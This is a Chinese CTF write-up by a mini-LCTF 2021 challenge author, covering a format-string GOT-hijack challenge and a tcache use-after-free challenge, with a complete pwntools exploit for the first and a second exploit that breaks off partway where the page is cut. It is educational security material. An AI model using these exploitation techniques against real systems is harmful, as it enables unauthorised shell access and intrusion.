【CTF题解NO.00008】mini-LCTF 2021 official write up by arttnba3

0x00.绪论

很高兴能和RX大哥和协会的其他师傅一起出了这一次 minilCTF 2021 的题,虽然说只出了两道比较简单的题233333,不过还是希望大家能够喜欢()

点开下方查看题解👇

0x01.Baby Repeater - fmtstr + got hijack

预期是利用格式化字符串泄露 libc 和 程序加载基地址,之后利用格式化字符串劫持 got 表,比较方便的就是改 printf 为 system,只用修改3个字节,也看到有人选择改为 one_gadget 的,基本上都在预期内

解题思路

漏洞点比较明显,一个可以无限使用的格式化字符串漏洞

简单测一下,格式化字符串是栈上的第八个参数

checksec一下,发现no relro,那就直接利用格式字符串漏洞泄露程序加载基地址与 libc 基址后改 printf@got 为 system 后输入 ;sh 就可以拿到 shell 了

exp如下:

from pwn import *
p = process('./baby_repeater')
e = ELF('./baby_repeater')
libc = ELF('./libc-2.31.so')

p.sendline("%107$p")
p.recvuntil(b"> Your sentence: ")
main_addr = int(p.recvuntil(b'\n', drop = True), 16) - 42
elf_base = main_addr - e.sym['main']
log.success('elf base: ' + hex(elf_base))

p.sendline("%111$p")
p.recvuntil(b"> Your sentence: ")
libc_base = int(p.recvuntil(b'\n', drop = True), 16) - libc.sym['__libc_start_main'] - 243
log.success('libc base: ' + hex(libc_base))

printf_got = elf_base + e.got['printf']
sys_addr = libc_base + libc.sym['system']
sys_low = sys_addr & 0xffff
sys_high = (sys_addr >> 16)  & 0xff

payload = b'%' + str(sys_high - 15).encode() + b'c%12$hhn'
payload += b'%' + str(sys_low - sys_high).encode() + b'c%13$hn'
payload = payload.ljust(4 * 8, b'\x00')
payload += p64(printf_got + 2)
payload += p64(printf_got)

p.sendline(payload)
p.sendline(';sh')

p.interactive()

0x02. easytcache - Use After Free + safe-linking bypass + ORW (+ FSOP)

这道题校内没人出…只有一个校外的师傅做出来了,还非预期了…

BB:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Hz2IpHD9-1621009387347)(https://i.loli.net/2021/05/15/Oqpem3yrg2UJlYC.png)]

程序分析

使用如下指令编译,保护全开,扣光符号表

$ g++ easytcache.cpp -o easytcache -fstack-protector-all -z now -z noexecstack -pie -s

在开头的init_state()函数中设置了沙箱,目的是让选手只能通过orw来获得flag

题目提供了分配、编辑、打印、释放堆块的功能,以及一个手动调用exit函数退出的功能

同时题目限制只能分配5个chunk,只能释放3次,超出这个限制便会抛出A3LibException中止程序

漏洞点在于释放堆块时没有将堆块指针置0,但是libc版本为2.31,有着tcache key,无法直接double free

题目本身有个逻辑漏洞,在 deleteNote() 函数中虽然会检测堆块是否已释放,但是会在检测之前使用取反的方式改变标志位,因此可以在改变标志位后使用 edit 功能清除 tcache key,之后完成doule free

解题思路

题目限制了只能分配5个 chunk,每一次分配都需要精打细算,为了能够达到更多次的任意地址写,所以考虑直接劫持 tcache 结构体

首先通过double free后打印泄漏出堆基址,之后就是 edit 后分配到 tcache 结构体,修改 counts 全满后将 tcache free 进 unsorted bin 后打印就可以泄漏出栈基址,此时我们还剩下两次 malloc 的机会,0 次 free 的机会,不过好在我们已经控制了 tcache 结构体,可以直接分配堆块到我们想要的地方
需要注意的是自 libc2.32 起新增了 safe-linking 机制(本题为 2.33),对于 tcache 与 fastbin 中的 chunk 的 next 指针都会与自身地址右移 12 位后的值进行异或,但是 tcache_entry 中存放的仍然为未加密指针

最常规的办法就是改 __malloc_hook 为 one_gadget 以get shell,但是这一题限制了系统调用,只能进行orw

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fu8jXAVw-1621009387349)(https://i.loli.net/2021/04/22/EA873jmk2bIy4ca.png)]

解法一:__environ泄露栈地址在栈上构造ROP进行ORW

__environ 这个变量中保存着栈上地址,我们可以通过这个变量获取栈上地址,随后就可以分配一个位于栈上的 chunk ,最后就是常规的通过 ROP 进行 ORW

exp如下:

#!/usr/bin/python3
from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process(['./ld-2.33.so', './easytcache'], env={
   'LD_PRELOAD':'./libc.so.6'})#p = remote('pwn.woooo.tech', 10071)#
e = ELF('./easytcache')
libc = ELF('./libc.so.6')
one_gadget = 0xe6e73

def cmd(choice:int):
    p.recvuntil(b"Your choice: ")
    p.sendline(str(choice).encode())

def new(size:int):
    cmd(1)
    p.recvuntil(b"size?")
    p.sendline(str(size).encode())

def edit(index:int, content):
    cmd(2)
    p.recvuntil(b"index?")
    p.sendline(str(index).encode())
    p.recvuntil(b"content?")
    p.send(content)

def dump(index:int):
    cmd(3)
    p.recvuntil(b"index?")
    p.sendline(str(index).encode())
    p
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值